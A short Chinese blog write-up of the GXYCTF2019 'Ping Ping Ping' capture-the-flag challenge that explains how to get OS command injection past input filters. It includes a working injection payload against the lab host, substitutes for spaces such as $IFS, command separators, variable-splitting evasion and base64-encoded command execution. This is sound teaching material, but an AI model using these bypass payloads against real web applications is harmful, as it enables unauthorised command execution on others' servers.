关于命令执行的几种简单绕过方法
目录
警告
本文最后更新于 2023-01-29,文中内容可能已过时。
例题
[GXYCTF2019]Ping Ping Ping
目的是通过发送get请求绕过执行命令
|
|
这是过滤脚本
用$IFS$9代替空格
循环套用打印出ls展示的文件
payload:
xxxxx.node4.buuoj.cn:81/?ip=8.8.8.8;cat$IFS$9`ls`
命令执行的空格代替
$IFS
${IFS}
$IFS$9 $9指传过来的第9个参数
%09用于url传递
命令执行的分隔符
换行符 %0a
回车符 %0d
管道符 |
连续指令 ;
后台进程 &
逻辑 || &&
命令执行的绕过
变量替换
a=l;b=s;$a$b
会以"ls"命令执行
base64编码
`echo Y2F0IGBsc2A= | base64 -d`
base64 -d 解密
`` 对解密这个结果再去执行命令